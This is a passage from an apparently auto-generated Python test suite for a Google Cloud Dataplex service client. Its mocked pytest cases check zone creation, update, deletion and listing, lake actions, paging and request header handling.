client = DataplexServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.list_lake_actions), "__call__"
) as call:
# Designate an appropriate return value for the call.
call.return_value = service.ListActionsResponse()
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(
service.ListActionsResponse()
)
# Call the method with a truthy value for each flattened field,
# using the keyword arguments to the method.
response = await client.list_lake_actions(
parent="parent_value",
)
# Establish that the underlying call was made with the expected
# request object values.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
arg = args[0].parent
mock_val = "parent_value"
assert arg == mock_val
@pytest.mark.asyncio
async def test_list_lake_actions_flattened_error_async():
client = DataplexServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Attempting to call a method with both a request object and flattened
# fields is an error.
with pytest.raises(ValueError):
await client.list_lake_actions(
service.ListLakeActionsRequest(),
parent="parent_value",
)
def test_list_lake_actions_pager(transport_name: str = "grpc"):
client = DataplexServiceClient(
credentials=ga_credentials.AnonymousCredentials,
transport=transport_name,
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.list_lake_actions), "__call__"
) as call:
# Set the response to a series of pages.
call.side_effect = (
service.ListActionsResponse(
actions=[
resources.Action(),
resources.Action(),
resources.Action(),
],
next_page_token="abc",
),
service.ListActionsResponse(
actions=[],
next_page_token="def",
),
service.ListActionsResponse(
actions=[
resources.Action(),
],
next_page_token="ghi",
),
service.ListActionsResponse(
actions=[
resources.Action(),
resources.Action(),
],
),
RuntimeError,
)
metadata = ()
metadata = tuple(metadata) + (
gapic_v1.routing_header.to_grpc_metadata((("parent", ""),)),
)
pager = client.list_lake_actions(request={})
assert pager._metadata == metadata
results = list(pager)
assert len(results) == 6
assert all(isinstance(i, resources.Action) for i in results)
def test_list_lake_actions_pages(transport_name: str = "grpc"):
client = DataplexServiceClient(
credentials=ga_credentials.AnonymousCredentials,
transport=transport_name,
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.list_lake_actions), "__call__"
) as call:
# Set the response to a series of pages.
call.side_effect = (
service.ListActionsResponse(
actions=[
resources.Action(),
resources.Action(),
resources.Action(),
],
next_page_token="abc",
),
service.ListActionsResponse(
actions=[],
next_page_token="def",
),
service.ListActionsResponse(
actions=[
resources.Action(),
],
next_page_token="ghi",
),
service.ListActionsResponse(
actions=[
resources.Action(),
resources.Action(),
],
),
RuntimeError,
)
pages = list(client.list_lake_actions(request={}).pages)
for page_, token in zip(pages, ["abc", "def", "ghi", ""]):
assert page_.raw_page.next_page_token == token
@pytest.mark.asyncio
async def test_list_lake_actions_async_pager():
client = DataplexServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials,
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.list_lake_actions),
"__call__",
new_callable=mock.AsyncMock,
) as call:
# Set the response to a series of pages.
call.side_effect = (
service.ListActionsResponse(
actions=[
resources.Action(),
resources.Action(),
resources.Action(),
],
next_page_token="abc",
),
service.ListActionsResponse(
actions=[],
next_page_token="def",
),
service.ListActionsResponse(
actions=[
resources.Action(),
],
next_page_token="ghi",
),
service.ListActionsResponse(
actions=[
resources.Action(),
resources.Action(),
],
),
RuntimeError,
)
async_pager = await client.list_lake_actions(
request={},
)
assert async_pager.next_page_token == "abc"
responses = []
async for response in async_pager: # pragma: no branch
responses.append(response)
assert len(responses) == 6
assert all(isinstance(i, resources.Action) for i in responses)
@pytest.mark.asyncio
async def test_list_lake_actions_async_pages():
client = DataplexServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials,
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.list_lake_actions),
"__call__",
new_callable=mock.AsyncMock,
) as call:
# Set the response to a series of pages.
call.side_effect = (
service.ListActionsResponse(
actions=[
resources.Action(),
resources.Action(),
resources.Action(),
],
next_page_token="abc",
),
service.ListActionsResponse(
actions=[],
next_page_token="def",
),
service.ListActionsResponse(
actions=[
resources.Action(),
],
next_page_token="ghi",
),
service.ListActionsResponse(
actions=[
resources.Action(),
resources.Action(),
],
),
RuntimeError,
)
pages = []
async for page_ in (
await client.list_lake_actions(request={})
).pages: # pragma: no branch
pages.append(page_)
for page_, token in zip(pages, ["abc", "def", "ghi", ""]):
assert page_.raw_page.next_page_token == token
@pytest.mark.parametrize(
"request_type",
[
service.CreateZoneRequest,
dict,
],
)
def test_create_zone(request_type, transport: str = "grpc"):
client = DataplexServiceClient(
credentials=ga_credentials.AnonymousCredentials(),
transport=transport,
)
# Everything is optional in proto3 as far as the runtime is concerned,
# and we are mocking out the actual API, so just send an empty request.
request = request_type()
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client.transport.create_zone), "__call__") as call:
# Designate an appropriate return value for the call.
call.return_value = operations_pb2.Operation(name="operations/spam")
response = client.create_zone(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
assert args[0] == service.CreateZoneRequest()
# Establish that the response is the type that we expect.
assert isinstance(response, future.Future)
def test_create_zone_empty_call():
# This test is a coverage failsafe to make sure that totally empty calls,
# i.e. request == None and no flattened fields passed, work.
client = DataplexServiceClient(
credentials=ga_credentials.AnonymousCredentials(),
transport="grpc",
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client.transport.create_zone), "__call__") as call:
client.create_zone()
call.assert_called()
_, args, _ = call.mock_calls[0]
assert args[0] == service.CreateZoneRequest()
@pytest.mark.asyncio
async def test_create_zone_async(
transport: str = "grpc_asyncio", request_type=service.CreateZoneRequest
):
client = DataplexServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(),
transport=transport,
)
# Everything is optional in proto3 as far as the runtime is concerned,
# and we are mocking out the actual API, so just send an empty request.
request = request_type()
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client.transport.create_zone), "__call__") as call:
# Designate an appropriate return value for the call.
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(
operations_pb2.Operation(name="operations/spam")
)
response = await client.create_zone(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
assert args[0] == service.CreateZoneRequest()
# Establish that the response is the type that we expect.
assert isinstance(response, future.Future)
@pytest.mark.asyncio
async def test_create_zone_async_from_dict():
await test_create_zone_async(request_type=dict)
def test_create_zone_field_headers():
client = DataplexServiceClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Any value that is part of the HTTP/1.1 URI should be sent as
# a field header. Set these to a non-empty value.
request = service.CreateZoneRequest()
request.parent = "parent_value"
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client.transport.create_zone), "__call__") as call:
call.return_value = operations_pb2.Operation(name="operations/op")
client.create_zone(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
assert args[0] == request
# Establish that the field header was sent.
_, _, kw = call.mock_calls[0]
assert (
"x-goog-request-params",
"parent=parent_value",
) in kw["metadata"]
@pytest.mark.asyncio
async def test_create_zone_field_headers_async():
client = DataplexServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Any value that is part of the HTTP/1.1 URI should be sent as
# a field header. Set these to a non-empty value.
request = service.CreateZoneRequest()
request.parent = "parent_value"
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client.transport.create_zone), "__call__") as call:
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(
operations_pb2.Operation(name="operations/op")
)
await client.create_zone(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
assert args[0] == request
# Establish that the field header was sent.
_, _, kw = call.mock_calls[0]
assert (
"x-goog-request-params",
"parent=parent_value",
) in kw["metadata"]
def test_create_zone_flattened():
client = DataplexServiceClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client.transport.create_zone), "__call__") as call:
# Designate an appropriate return value for the call.
call.return_value = operations_pb2.Operation(name="operations/op")
# Call the method with a truthy value for each flattened field,
# using the keyword arguments to the method.
client.create_zone(
parent="parent_value",
zone=resources.Zone(name="name_value"),
zone_id="zone_id_value",
)
# Establish that the underlying call was made with the expected
# request object values.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
arg = args[0].parent
mock_val = "parent_value"
assert arg == mock_val
arg = args[0].zone
mock_val = resources.Zone(name="name_value")
assert arg == mock_val
arg = args[0].zone_id
mock_val = "zone_id_value"
assert arg == mock_val
def test_create_zone_flattened_error():
client = DataplexServiceClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Attempting to call a method with both a request object and flattened
# fields is an error.
with pytest.raises(ValueError):
client.create_zone(
service.CreateZoneRequest(),
parent="parent_value",
zone=resources.Zone(name="name_value"),
zone_id="zone_id_value",
)
@pytest.mark.asyncio
async def test_create_zone_flattened_async():
client = DataplexServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client.transport.create_zone), "__call__") as call:
# Designate an appropriate return value for the call.
call.return_value = operations_pb2.Operation(name="operations/op")
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(
operations_pb2.Operation(name="operations/spam")
)
# Call the method with a truthy value for each flattened field,
# using the keyword arguments to the method.
response = await client.create_zone(
parent="parent_value",
zone=resources.Zone(name="name_value"),
zone_id="zone_id_value",
)
# Establish that the underlying call was made with the expected
# request object values.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
arg = args[0].parent
mock_val = "parent_value"
assert arg == mock_val
arg = args[0].zone
mock_val = resources.Zone(name="name_value")
assert arg == mock_val
arg = args[0].zone_id
mock_val = "zone_id_value"
assert arg == mock_val
@pytest.mark.asyncio
async def test_create_zone_flattened_error_async():
client = DataplexServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Attempting to call a method with both a request object and flattened
# fields is an error.
with pytest.raises(ValueError):
await client.create_zone(
service.CreateZoneRequest(),
parent="parent_value",
zone=resources.Zone(name="name_value"),
zone_id="zone_id_value",
)
@pytest.mark.parametrize(
"request_type",
[
service.UpdateZoneRequest,
dict,
],
)
def test_update_zone(request_type, transport: str = "grpc"):
client = DataplexServiceClient(
credentials=ga_credentials.AnonymousCredentials(),
transport=transport,
)
# Everything is optional in proto3 as far as the runtime is concerned,
# and we are mocking out the actual API, so just send an empty request.
request = request_type()
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client.transport.update_zone), "__call__") as call:
# Designate an appropriate return value for the call.
call.return_value = operations_pb2.Operation(name="operations/spam")
response = client.update_zone(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
assert args[0] == service.UpdateZoneRequest()
# Establish that the response is the type that we expect.
assert isinstance(response, future.Future)
def test_update_zone_empty_call():
# This test is a coverage failsafe to make sure that totally empty calls,
# i.e. request == None and no flattened fields passed, work.
client = DataplexServiceClient(
credentials=ga_credentials.AnonymousCredentials(),
transport="grpc",
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client.transport.update_zone), "__call__") as call:
client.update_zone()
call.assert_called()
_, args, _ = call.mock_calls[0]
assert args[0] == service.UpdateZoneRequest()
@pytest.mark.asyncio
async def test_update_zone_async(
transport: str = "grpc_asyncio", request_type=service.UpdateZoneRequest
):
client = DataplexServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(),
transport=transport,
)
# Everything is optional in proto3 as far as the runtime is concerned,
# and we are mocking out the actual API, so just send an empty request.
request = request_type()
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client.transport.update_zone), "__call__") as call:
# Designate an appropriate return value for the call.
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(
operations_pb2.Operation(name="operations/spam")
)
response = await client.update_zone(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
assert args[0] == service.UpdateZoneRequest()
# Establish that the response is the type that we expect.
assert isinstance(response, future.Future)
@pytest.mark.asyncio
async def test_update_zone_async_from_dict():
await test_update_zone_async(request_type=dict)
def test_update_zone_field_headers():
client = DataplexServiceClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Any value that is part of the HTTP/1.1 URI should be sent as
# a field header. Set these to a non-empty value.
request = service.UpdateZoneRequest()
request.zone.name = "name_value"
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client.transport.update_zone), "__call__") as call:
call.return_value = operations_pb2.Operation(name="operations/op")
client.update_zone(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
assert args[0] == request
# Establish that the field header was sent.
_, _, kw = call.mock_calls[0]
assert (
"x-goog-request-params",
"zone.name=name_value",
) in kw["metadata"]
@pytest.mark.asyncio
async def test_update_zone_field_headers_async():
client = DataplexServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Any value that is part of the HTTP/1.1 URI should be sent as
# a field header. Set these to a non-empty value.
request = service.UpdateZoneRequest()
request.zone.name = "name_value"
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client.transport.update_zone), "__call__") as call:
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(
operations_pb2.Operation(name="operations/op")
)
await client.update_zone(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
assert args[0] == request
# Establish that the field header was sent.
_, _, kw = call.mock_calls[0]
assert (
"x-goog-request-params",
"zone.name=name_value",
) in kw["metadata"]
def test_update_zone_flattened():
client = DataplexServiceClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client.transport.update_zone), "__call__") as call:
# Designate an appropriate return value for the call.
call.return_value = operations_pb2.Operation(name="operations/op")
# Call the method with a truthy value for each flattened field,
# using the keyword arguments to the method.
client.update_zone(
zone=resources.Zone(name="name_value"),
update_mask=field_mask_pb2.FieldMask(paths=["paths_value"]),
)
# Establish that the underlying call was made with the expected
# request object values.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
arg = args[0].zone
mock_val = resources.Zone(name="name_value")
assert arg == mock_val
arg = args[0].update_mask
mock_val = field_mask_pb2.FieldMask(paths=["paths_value"])
assert arg == mock_val
def test_update_zone_flattened_error():
client = DataplexServiceClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Attempting to call a method with both a request object and flattened
# fields is an error.
with pytest.raises(ValueError):
client.update_zone(
service.UpdateZoneRequest(),
zone=resources.Zone(name="name_value"),
update_mask=field_mask_pb2.FieldMask(paths=["paths_value"]),
)
@pytest.mark.asyncio
async def test_update_zone_flattened_async():
client = DataplexServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client.transport.update_zone), "__call__") as call:
# Designate an appropriate return value for the call.
call.return_value = operations_pb2.Operation(name="operations/op")
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(
operations_pb2.Operation(name="operations/spam")
)
# Call the method with a truthy value for each flattened field,
# using the keyword arguments to the method.
response = await client.update_zone(
zone=resources.Zone(name="name_value"),
update_mask=field_mask_pb2.FieldMask(paths=["paths_value"]),
)
# Establish that the underlying call was made with the expected
# request object values.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
arg = args[0].zone
mock_val = resources.Zone(name="name_value")
assert arg == mock_val
arg = args[0].update_mask
mock_val = field_mask_pb2.FieldMask(paths=["paths_value"])
assert arg == mock_val
@pytest.mark.asyncio
async def test_update_zone_flattened_error_async():
client = DataplexServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Attempting to call a method with both a request object and flattened
# fields is an error.
with pytest.raises(ValueError):
await client.update_zone(
service.UpdateZoneRequest(),
zone=resources.Zone(name="name_value"),
update_mask=field_mask_pb2.FieldMask(paths=["paths_value"]),
)
@pytest.mark.parametrize(
"request_type",
[
service.DeleteZoneRequest,
dict,
],
)
def test_delete_zone(request_type, transport: str = "grpc"):
client = DataplexServiceClient(
credentials=ga_credentials.AnonymousCredentials(),
transport=transport,
)
# Everything is optional in proto3 as far as the runtime is concerned,
# and we are mocking out the actual API, so just send an empty request.
request = request_type()
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client.transport.delete_zone), "__call__") as call:
# Designate an appropriate return value for the call.
call.return_value = operations_pb2.Operation(name="operations/spam")
response = client.delete_zone(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
assert args[0] == service.DeleteZoneRequest()
# Establish that the response is the type that we expect.
assert isinstance(response, future.Future)
def test_delete_zone_empty_call():
# This test is a coverage failsafe to make sure that totally empty calls,
# i.e. request == None and no flattened fields passed, work.
client = DataplexServiceClient(
credentials=ga_credentials.AnonymousCredentials(),
transport="grpc",
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client.transport.delete_zone), "__call__") as call:
client.delete_zone()
call.assert_called()
_, args, _ = call.mock_calls[0]
assert args[0] == service.DeleteZoneRequest()
@pytest.mark.asyncio
async def test_delete_zone_async(
transport: str = "grpc_asyncio", request_type=service.DeleteZoneRequest
):
client = DataplexServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(),
transport=transport,
)
# Everything is optional in proto3 as far as the runtime is concerned,
# and we are mocking out the actual API, so just send an empty request.
request = request_type()
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client.transport.delete_zone), "__call__") as call:
# Designate an appropriate return value for the call.
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(
operations_pb2.Operation(name="operations/spam")
)
response = await client.delete_zone(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
assert args[0] == service.DeleteZoneRequest()
# Establish that the response is the type that we expect.
assert isinstance(response, future.Future)
@pytest.mark.asyncio
async def test_delete_zone_async_from_dict():
await test_delete_zone_async(request_type=dict)
def test_delete_zone_field_headers():
client = DataplexServiceClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Any value that is part of the HTTP/1.1 URI should be sent as
# a field header. Set these to a non-empty value.
request = service.DeleteZoneRequest()
request.name = "name_value"
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client.transport.delete_zone), "__call__") as call:
call.return_value = operations_pb2.Operation(name="operations/op")
client.delete_zone(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
assert args[0] == request
# Establish that the field header was sent.
_, _, kw = call.mock_calls[0]
assert (
"x-goog-request-params",
"name=name_value",
) in kw["metadata"]
@pytest.mark.asyncio
async def test_delete_zone_field_headers_async():
client = DataplexServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Any value that is part of the HTTP/1.1 URI should be sent as
# a field header. Set these to a non-empty value.
request = service.DeleteZoneRequest()
request.name = "name_value"
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client.transport.delete_zone), "__call__") as call:
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(
operations_pb2.Operation(name="operations/op")
)
await client.delete_zone(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
assert args[0] == request
# Establish that the field header was sent.
_, _, kw = call.mock_calls[0]
assert (
"x-goog-request-params",
"name=name_value",
) in kw["metadata"]
def test_delete_zone_flattened():
client = DataplexServiceClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client.transport.delete_zone), "__call__") as call:
# Designate an appropriate return value for the call.
call.return_value = operations_pb2.Operation(name="operations/op")
# Call the method with a truthy value for each flattened field,
# using the keyword arguments to the method.
client.delete_zone(
name="name_value",
)
# Establish that the underlying call was made with the expected
# request object values.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
arg = args[0].name
mock_val = "name_value"
assert arg == mock_val
def test_delete_zone_flattened_error():
client = DataplexServiceClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Attempting to call a method with both a request object and flattened
# fields is an error.
with pytest.raises(ValueError):
client.delete_zone(
service.DeleteZoneRequest(),
name="name_value",
)
@pytest.mark.asyncio
async def test_delete_zone_flattened_async():
client = DataplexServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client.transport.delete_zone), "__call__") as call:
# Designate an appropriate return value for the call.
call.return_value = operations_pb2.Operation(name="operations/op")
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(
operations_pb2.Operation(name="operations/spam")
)
# Call the method with a truthy value for each flattened field,
# using the keyword arguments to the method.
response = await client.delete_zone(
name="name_value",
)
# Establish that the underlying call was made with the expected
# request object values.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
arg = args[0].name
mock_val = "name_value"
assert arg == mock_val
@pytest.mark.asyncio
async def test_delete_zone_flattened_error_async():
client = DataplexServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Attempting to call a method with both a request object and flattened
# fields is an error.
with pytest.raises(ValueError):
await client.delete_zone(
service.DeleteZoneRequest(),
name="name_value",
)
@pytest.mark.parametrize(
"request_type",
[
service.ListZonesRequest,
dict,
],
)
def test_list_zones(request_type, transport: str = "grpc"):
client = DataplexServiceClient(
credentials=ga_credentials.AnonymousCredentials(),
transport=transport,
)
# Everything is optional in proto3 as far as the runtime is concerned,
# and we are mocking out the actual API, so just send an empty request.
request = request_type()
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client.transport.list_zones), "__call__") as call:
# Designate an appropriate return value for the call.
call.return_value = service.ListZonesResponse(
next_page_token="next_page_token_value",
)
response = client.list_zones(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
assert args[0] == service.ListZonesRequest()
# Establish that the response is the type that we expect.
assert isinstance(response, pagers.ListZonesPager)
assert response.next_page_token == "next_page_token_value"
def test_list_zones_empty_call():
# This test is a coverage failsafe to make sure that totally empty calls,
# i.e. request == None and no flattened fields passed, work.
client = DataplexServiceClient(
credentials=ga_credentials.AnonymousCredentials(),
transport="grpc",
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client.transport.list_zones), "__call__") as call:
client.list_zones()
call.assert_called()
_, args, _ = call.mock_calls[0]
assert args[0] == service.ListZonesRequest()
@pytest.mark.asyncio
async def test_list_zones_async(
transport: str = "grpc_asyncio", request_type=service.ListZonesRequest
):
client = DataplexServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(),
transport=transport,
)
# Everything is optional in proto3 as far as the runtime is concerned,
# and we are mocking out the actual API, so just send an empty request.
request = request_type()
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client.transport.list_zones), "__call__") as call:
# Designate an appropriate return value for the call.
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(
service.ListZonesResponse(
next_page_token="next_page_token_value",
)
)
response = await client.list_zones(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
assert args[0] == service.ListZonesRequest()
# Establish that the response is the type that we expect.
assert isinstance(response, pagers.ListZonesAsyncPager)
assert response.next_page_token == "next_page_token_value"
@pytest.mark.asyncio
async def test_list_zones_async_from_dict():
await test_list_zones_async(request_type=dict)
def test_list_zones_field_headers():
client = DataplexServiceClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Any value that is part of the HTTP/1.1 URI should be sent as
# a field header. Set these to a non-empty value.
request = service.ListZonesRequest()
request.parent = "parent_value"
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client.transport.list_zones), "__call__") as call:
call.return_value = service.ListZonesResponse()
client.list_zones(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
assert args[0] == request
# Establish that the field header was sent.
_, _, kw = call.mock_calls[0]
assert (
"x-goog-request-params",
"parent=parent_value",
) in kw["metadata"]
@pytest.mark.asyncio
async def test_list_zones_field_headers_async():
client = DataplexServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Any value that is part of the HTTP/1.1 URI should be sent as
# a field header. Set these to a non-empty value.
request = service.ListZonesRequest()
request.parent = "parent_value"
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client.transport.list_zones), "__call__") as call:
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(
service.ListZonesResponse()
)
await client.list_zones(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
assert args[0] == request
# Establish that the field header was sent.
_, _, kw = call.mock_calls[0]
assert (
"x-goog-request-params",
"parent=parent_value",
) in kw["metadata"]
def test_list_zones_flattened():
client = DataplexServiceClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client.transport.list_zones), "__call__") as call:
# Designate an appropriate return value for the call.
call.return_value = service.ListZonesResponse()
# Call the method with a truthy value for each flattened field,
# using the keyword arguments to the method.
client.list_zones(
parent="parent_value",
)
# Establish that the underlying call was made with the expected
# request object values.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
arg = args[0].parent
mock_val = "parent_value"
assert arg == mock_val
def test_list_zones_flattened_error():
client = DataplexServiceClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Attempting to call a method with both a request object and flattened
# fields is an error.
with pytest.raises(ValueError):
client.list_zones(
service.ListZonesRequest(),
parent="parent_value",
)
@pytest.mark.asyncio
async def test_list_zones_flattened_async():
client = DataplexServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client.transport.list_zones), "__call__") as call:
# Designate an appropriate return value for the call.
call.return_value = service.ListZonesResponse()
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(
service.ListZonesResponse()
)
# Call the method with a truthy value for each flattened field,
# using the keyword arguments to the method.
response = await client.list_zones(
parent="parent_value",
)
# Establish that the underlying call was made with the expected
# request object values.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
arg = args[0].parent
mock_val = "parent_value"
assert arg == mock_val
@pytest.mark.asyncio
async def test_list_zones_flattened_error_async():
client = DataplexServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Attempting to call a method with both a request object and flattened
# fields is an error.
with pytest.raises(ValueError):
await client.list_zones(
service.ListZonesRequest(),
parent="parent_value",
)
def test_list_zones_pager(transport_name: str = "grpc"):
client = DataplexServiceClient(
credentials=ga_credentials.AnonymousCredentials,
transport=transport_name,
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client.transport.list_zones), "__call__") as call:
# Set the response to a series of pages.
call.side_effect = (
service.ListZonesResponse(
zones=[
resources.Zone(),
resources.Zone(),
resources.Zone(),
],
next_page_token="abc",
),
service.ListZonesResponse(
zones=[],
next_page_token="def",
),
service.ListZonesResponse(
zones=[
resources.Zone(),
],
next_page_token="ghi",
),
service.ListZonesResponse(
zones=[
resources.Zone(),
resources.Zone(),
],
),
RuntimeError,
)
metadata = ()
metadata = tuple(metadata) + (
gapic_v1.routing_header.to_grpc_metadata((("parent", ""),)),
)
pager = client.list_zones(request={})
assert pager._metadata == metadata
results = list(pager)
assert len(results) == 6
assert all(isinstance(i, resources.Zone) for i in results)
def test_list_zones_pages(transport_name: str = "grpc"):
client = DataplexServiceClient(
credentials=ga_credentials.AnonymousCredentials,
transport=transport_name,
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client.transport.list_zones), "__call__") as call:
# Set the response to a series of pages.
call.side_effect = (
service.ListZonesResponse(
zones=[
resources.Zone(),
resources.Zone(),
resources.Zone(),
],
next_page_token="abc",
),
service.ListZonesResponse(
zones=[],
next_page_token="def",
),
service.ListZonesResponse(
zones=[
resources.Zone(),
],
next_page_token="ghi",
),
service.ListZonesResponse(
zones=[
resources.Zone(),
resources.Zone(),
],
),
RuntimeError,
)
pages = list(client.list_zones(request={}).pages)
for page_, token in zip(pages, ["abc", "def", "ghi", ""]):
assert page_.raw_page.next_page_token == token
@pytest.mark.asyncio
async def test_list_zones_async_pager():
client = DataplexServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials,
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.list_zones), "__call__", new_callable=mock.AsyncMock
) as call:
# Set the response to a series of pages.
call.side_effect = (
service.ListZonesResponse(
zones=[
resources.Zone(),
resources.Zone(),
resources.Zone(),
],
next_page_token="abc",
),
service.ListZonesResponse(
zones=[],
next_page_token="def",
),
service.ListZonesResponse(
zones=[
resources.Zone(),
],
next_page_token="ghi",
),
service.ListZonesResponse(
zones=[
resources.Zone(),
resources.Zone(),
],
),
RuntimeError,
)
async_pager = await client.list_zones(
request={},
)
assert async_pager.next_page_token == "abc"
responses = []
async for response in async_pager: # pragma: no branch
responses.append(response)
assert len(responses) == 6
assert all(isinstance(i, resources.Zone) for i in responses)
@pytest.mark.asyncio
async def test_list_zones_async_pages():
client = DataplexServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials,
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
